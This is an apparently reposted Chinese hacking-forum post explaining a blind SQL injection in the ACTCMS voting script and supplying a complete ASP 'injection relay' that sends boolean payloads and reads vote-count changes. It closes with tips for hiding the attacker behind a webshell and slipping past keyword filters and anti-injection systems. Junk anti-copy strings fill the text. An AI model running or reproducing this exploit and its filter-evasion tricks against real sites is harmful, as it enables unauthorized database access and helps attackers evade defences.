中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
1 F s( \% D& M9 M5 C
看到ninty大牛的blog的一篇文章
; t( v- R2 k9 K9 c0 H6 c, k( K) ] k
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
; k) V/ s2 y$ G
关于actcms漏洞的利用 by 3x qq:381862589
0 L6 [- R1 n c# o Q- e
转载请注明以上
! ^: s: q S$ _3 t7 J. ]
漏洞文件:
; z! E: f; U! f: Q* `; B0 W# Y
/plus/vote/vote.asp
- w/ I+ H3 F$ |8 b
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
4 O. f6 V" U: M4 V$ F( o
9 j4 _4 d4 Y+ n) c9 m9 Q
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
! F/ B, k% g8 l+ u3 v$ Z0 v
9 g: n* O& j: y3 I" a
3 response.end
0 {& L/ U. F8 M# @% R
6 H3 t+ Y y; O1 _
4 end if
: L: G" r1 t [7 X+ S- j" r
3 m5 y' g) S! r* _6 S
5 for i=1 to request("voted").count
, e6 |" r O9 |8 _' m, w* ?
% q2 r l* j: S. F7 D6 z G
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
: z! q v: D$ L4 a7 j, w
$ f6 b2 B( ]! B$ [' S4 ~0 w; I2 b
7 next
, b2 t, s& b$ ]1 m. R9 `
" v8 C( a" L9 ^ t& B; i
8....
" K( y0 ~2 F4 G/ Q: ^9 R, ~
" ~! U6 T: @) v; g; h7 ^3 t
9response.Redirect "index.asp?id="&id&""
4 l: Y# r7 ?5 f- A( e' K+ }
投票结束回跳转回index.asp这个投票结果页面
0 q6 A) G$ G0 o6 b8 i0 T
如果投票成功票数加1
3 V( D; J$ M5 S, \/ O: ^2 j
失败票数不变
4 p! D* x8 V' u
如图:
& s- S7 X. {8 v1 p, t9 s! {
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
7 E' ~6 e! u4 S
' H6 L5 `# F* I6 a; L0 E
2009-12-27 13:20
$ @" q& ^# t% s, B
: `: ?! F' s, V U6 s
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
$ Z7 l9 t: L+ v* L$ D, | v
. ?2 m1 l1 r# [5 \9 r' l& |
本帖隐藏的内容需要回复才可以浏览
7 F( E4 O) _6 o
我们用注入中转来实现这个注入具体代码如下:
0 o1 Z9 _5 A9 i
先用寂寞的刺猬大牛的注入中转生成jmget.asp
2 g3 p& U. s+ g' V# M
注入地址:http://localhost/actcms/plus/vote/vote.asp
/ e' R, P4 Z% l% f; R2 `
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
0 L3 Q# Q! A1 ~$ i
, t5 z: B0 @. S( a# W
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
5 g+ T" X2 r# F$ R& u
% u" Z* K! I2 M+ E( p! y
02JmdcwName=request("jmdcw")
8 g; R! \5 j0 S+ r4 Z
7 d& Z: N9 P1 ?5 r- g
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
! H( M$ Z9 A }6 n7 r. u
; j, B' Y* \, c& V
04JmStr="id=1&voted=-1 or 1="&JmdcwName
: Z2 |0 d2 R% u2 p' y& C; v" m
" L" h7 R* B$ O7 m Z/ d
05JmStr=URLEncoding(JmStr)
- ^. B$ M( Q- j: J
7 Y& j$ P E. H8 Q9 Y& m/ B
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
# X) U, p7 ~ H, u: V3 W
. i6 {7 c, }: O
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
5 {! O5 d" e( v7 {
- U) S# e& U7 C& `
08testurl=testurl & "?" & JmStr
; p5 y3 ?/ j6 a/ O6 f& [5 [
- O+ R2 \, B9 ^1 g3 A
09JMUrl=JMUrl & "?" & JmStr
; U* R: W) I7 U1 b! i% Y
) K+ t% ^- y7 {2 a }+ @5 w, E
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
! p. |! b6 ~- G& X6 ^
: w* N& C* q l* w$ |+ T9 ^
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
8 \; u$ D0 `/ w$ \
: _6 B9 o n2 Y6 g
12JmCok=replace(JmCok,chr(32),"%20")
% R: _1 ?$ D5 @3 p7 A+ Q3 c
1 G' d- Q3 q) \- Y# d
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
" k' P7 }" E F
d" w' R5 v5 z- E9 F3 i; g6 f- a
14
% u+ }' i" Z$ Y& A
. B) O1 X! K, f7 K' e2 t9 r
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
, E* V% e5 m# H! f3 c9 f Q" ?
: T8 H& C/ {! H/ N" B( J$ n8 }
16
; o- S" I% m# o! y/ r$ E
( z7 d+ ?% {; Z+ O
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
# E( l# a# m& H4 n6 t6 M
9 h* e$ _( x: N& y
18response.write test1&""&test2&""
0 t/ N) f1 n) b3 ?
) ~* z; `( N. y! O4 j7 d
19
* q( Z+ X8 f9 X) f. V( `
- \- K- w" L+ x5 ?
20if test1=test2 then '如前后记录相等,表示失败
3 m" d' L% \1 ?9 i+ i, M8 }
' h" b) T( R/ o7 a" J
21 response.write "failed"
/ o( e8 H4 x4 x+ K+ }4 B* h
& ^4 m: T" X* l' `
22else
) \/ }& E. a0 R
$ m2 g0 ?+ e* x1 d, m. x* a
23 response.write "succeed"
! t4 j* j8 \% h R% K# _% } Y+ e: A
1 J: X. r) \- s( l+ m
24end if
5 z- i3 Q% {! I! p+ d
1 U+ v+ n! Y' R: ?/ S5 J$ M4 j
25
) r4 ^: K" M/ }4 t, m: `) x
( z3 `- M) S( p) ^6 k; A
26response.write "by 3x"
3 k: z S- c' P# y
/ ?) o3 U; P# V4 A' H E
27
& T A! T F# c- \% b9 m# _$ w
3 t y: f' \. y4 E3 W% x( @* X. o' F
28
0 t3 N2 K5 E$ O2 K7 F
0 ~6 r0 s3 _/ e% X! ^# r" z! S
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
/ Y Q) v- r5 r/ z- N$ {
. Q. C/ q6 X& \$ k$ L: O- l
30Dim Http
H! q" h& G* F! O8 x/ B
3 x9 [( r3 y# {/ y
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
# \; f4 p4 A! c+ B$ |* c9 h
/ z. J( O2 J4 m$ g. W/ W
32With Http
* z& ^2 r! ?# i8 Y
& p* e0 i# q" R% j7 L8 D& T2 ^
33
7 H9 M/ h1 [$ u! ]0 d+ Z
7 c% X+ l( J3 t
34.Open "GET",PostUrl,False
* e& ]4 r8 L; s2 G
3 H7 `! g. c3 o! M H
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
8 U! y8 G& ~$ J7 _
. B- d, z$ k& z3 f
36.SetRequestHeader "Referer",PostRef
4 _5 Z# R. {7 }0 H; l
2 G4 b% l3 b* v0 R
37.SetRequestHeader "Cookie",PostCok
7 L7 Y# N1 F3 ~ E7 K
4 ^( k" ~4 M5 M/ |- t# Q* S
38.Send ()
! w/ z7 W- [$ C( h% _9 ?0 n
$ I5 h. l! @3 m3 \9 p7 i
39PostData = .ResponseBody
$ `$ a8 B2 J% Z# t! k6 v
/ ~4 `" L. T4 [
40End With
W: \8 g7 j0 M0 e! R4 ]
* X7 D. C( R, g7 F
41Set Http = Nothing
d# Z! z/ {& K
7 Y+ Q( Y- O5 b1 U% |
42PostData =bytes2BSTR(PostData)
+ A$ m' E( I. B! J% ` E
6 D3 t5 C, S$ ?/ c& H6 Z
43End Function
! a9 [, ^" ~( i& x* z- n' ^
) g- |4 ~" N! e, g& Y B% y
44
$ X' }$ q) {- `& l+ ~+ P
1 l( D8 J+ h0 I7 J& m
45
7 [1 ~, }1 l0 v5 d- t- P- y
2 K5 \3 ~* o* f( H
46Function bytes2BSTR(vIn)
& C' b) r9 q$ L; y1 `
2 f, T1 O$ g; B
47Dim strReturn
$ M8 q: A% d* {' \8 S
U; N7 Z! B& w7 ^
48Dim I, ThisCharCode, NextCharCode
& R' z' K4 K: q
: v, |. U/ ~0 A }
49strReturn = ""
. _5 g: e8 c1 R- \% I/ S' I
! j9 w/ |# e4 P4 v( o5 [
50For I = 1 To LenB(vIn)
6 ]! J2 \8 k) n4 I" M8 F
) G: e, C8 g9 S- G
51ThisCharCode = AscB(MidB(vIn, I, 1))
# ?" o. O" K+ z. } F
+ J1 ]0 B: s3 h2 k: f- ^
52If ThisCharCode < &H80 Then
: {: k* f2 ?1 m/ A
, y; m% e3 C1 `" S: M- N
53strReturn = strReturn & Chr(ThisCharCode)
: D& L, V( l! i9 ?
5 i* J0 G6 ?+ L7 j, d' u; ?
54Else
. D% z2 Y' S o% |* B5 \2 l; K
7 I) v3 M5 I: P% v; z1 K
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
; y; _! v! f4 S4 A# d6 b" B& f
7 H" D$ D0 L2 r3 p. E. u" {
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
: ` H. b7 f* D* A: J
- _% N# L+ T, N0 g4 b5 @- e
57I = I + 1
& I H0 Y' V# q6 E4 G7 D
9 a; } N5 r- J: I$ l* D+ {
58End If
" ?/ q2 H* i, ?7 @5 X
8 q- ~' `$ \7 Z: g/ ^: [4 d% k( j
59Next
8 q: d: c( v {7 E3 P# J
7 u. O$ i5 ] d5 s. Z4 e" F
60bytes2BSTR = strReturn
, P/ i; [, f7 Q# }1 }8 W2 f5 ~
1 Q, W7 f: _5 l) `# @) |
61End Function
( y: l9 A9 a! P0 [! y, L4 G
4 b, N/ A- f& {) E& U) s
62
+ Z& h+ j h8 E; l- o% T. h
; }8 [) Q' ]+ p! ~* i+ q
63Function URLEncoding(vstrin)
6 z! R0 f; y b, o
# n- p; N& ]8 ?6 I! X
64strReturn=""
4 ^3 Q3 y0 [/ n( m6 ]% J
" ~9 {7 }$ f, v* E) T1 {
65Dim i
+ q L5 r7 g0 L
4 A% S0 a; F, L
66For i=1 To Len(vstrin)
$ ~; B& M( P$ j7 n# u' H6 i2 E
" x7 s" p6 U7 J$ r; o
67ThisChr=Mid(vstrin,i,1)
* C& @& V) W2 z. J' q1 u) q; a
* ?* F$ t4 M& `5 d& Z' L
68if Abs(Asc(ThisChr))< &HFF Then
, E( ~6 c: I( g0 `
# U6 _& [0 v2 u4 E. g; \6 g1 U" I* o& {
69strReturn=strReturn & ThisChr
3 g/ d; c, f+ E1 X0 s# c& e
9 Q5 u7 X# R& Z& Q$ k
70Else
' ?! ]/ q/ |( T* K# Q: v
1 x: H! A. A1 J, B1 i
71InnerCode=Asc(ThisChr)
# f+ u' \! L' L( b
. R- O5 e) t4 U# y( l. A; L Y
72If InnerCode<0 Then
1 J' a: P* y- K! e
- ^+ s" C& m$ R" J* u
73InnerCode=InnerCode + &H10000
~9 M; K) |; E1 z1 Q# H3 R H$ T
; l! }/ l S: l2 [! v3 Y
74End If
- |* J; [# L0 }3 f8 n
0 f* Q$ W* s; s; _* B7 m7 x
75Hight1=(InnerCode And &HFF00) \&HFF
- p! m" H, k7 K4 u
- P. Q+ A* S- U' k5 Y
76Low1=InnerCode And &HFF
3 \* M" Q* b7 p2 i* i3 w3 H
3 d7 z" j; U: q( p4 ~
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
- I4 q% U9 D" n: z3 w0 e
6 t# |$ j7 d, C' ~
78End if
# v' U# y+ P( W+ n/ o; z
1 R% @5 g6 \+ S+ v9 E
79Next
j8 V" \' O* M2 M6 o$ n: Z, D
: i0 O5 K: F! k$ C# p; M: J* S
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
% w9 V7 K. f3 s0 O
: D% @" z7 q" k8 ~- e& B, J
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
7 Y- a( I9 C! }2 I3 x4 y, R, R
( k; A8 p, y" m( C/ {; Q, V! s/ N
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
" s+ o0 E+ o" S& n7 D$ j Q
) I' H" Q) y1 y4 w; q
83URLEncoding=strReturn
( x$ _- B3 e( M
, k/ }+ R% a: x4 b/ V; {# L& S
84End Function
1 E |7 a7 C) y2 I1 m
. W7 N2 Q& Z+ |
85
|: w) D' H: l- h0 ?* K
4 r; v, i7 J4 B3 t/ {4 Z R, _
86function getSt(body)
1 C, ^7 ?$ x* [2 Z- v
/ h$ F6 b3 r" R% ^" j
87 startpot=instr(body,"投票人数:")+len("投票人数:")
4 U: p) G/ ^+ ^0 }; C4 ?
) s/ N) E( Z! c: i- w( m) U
88 endpot=instr(startpot,body," ")
6 g& L3 q7 k, R( B. `2 W
, L8 H; I5 L6 r) w8 z3 a
89 getSt=mid(body,startpot,endpot-startpot)
' y% q8 g. j6 [6 K
% a* Y" i# F( Q# @
90end function
: ?2 S- m; }9 B3 x3 v+ t
& Y1 Y- e8 Z2 p+ u/ w) c8 j
91%>
( O' H" Q; [* l" k
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
+ h; d& ^3 P3 o( g p- A
测试下效果:
8 ]+ ^3 Z2 c, Q# Y
投票成功:
7 [" K) w5 E0 v- O$ w
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
; K8 `- e0 a+ m j, Y. a2 J
/ N* w+ l* H) }! J% Z" a
2009-12-27 13:29
6 q% p7 \ w5 P
投票失败
1 p* G+ V; B( r# s- h i5 Q
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
2 D7 d5 M8 | ?% A4 |1 p
- D$ e. S/ W* E
2009-12-27 13:29
# Q3 K) o, \2 X, `( {" ^3 o5 z
-------------------------------------------------------------------------------
' z1 b/ Z( D' S) U; |6 Q) K, O
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
3 ~( J( s, E u% q' R& T7 `( |" V+ I
很抱歉。。。只能用单线程工具去注入。。。。。
7 W# T) J3 a* @3 l: U* E
所以失败。。。不好意思。。。
) @, @3 c' d* h1 S
-------------------------------------------------------------------------------
( k" G C; }: ^, b) }, z
% u$ i7 p8 t+ T& ~) }% u
注入中转的一些其他应用
- W; v7 y( J% e! u2 G, \ n* p) t
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
% r# X2 r: |: \' g7 y1 o
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
5 y- K3 Q# [) G3 H/ U1 X
2.post注入转成get型的注入,方便我们使用工具来跑
; h& D, @+ n u' B6 c
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
t" U- a) M5 v- P1 v
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
6 M: l6 m1 j9 z1 s
: e# t! Q; }0 n- w% }; T% N9 R
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2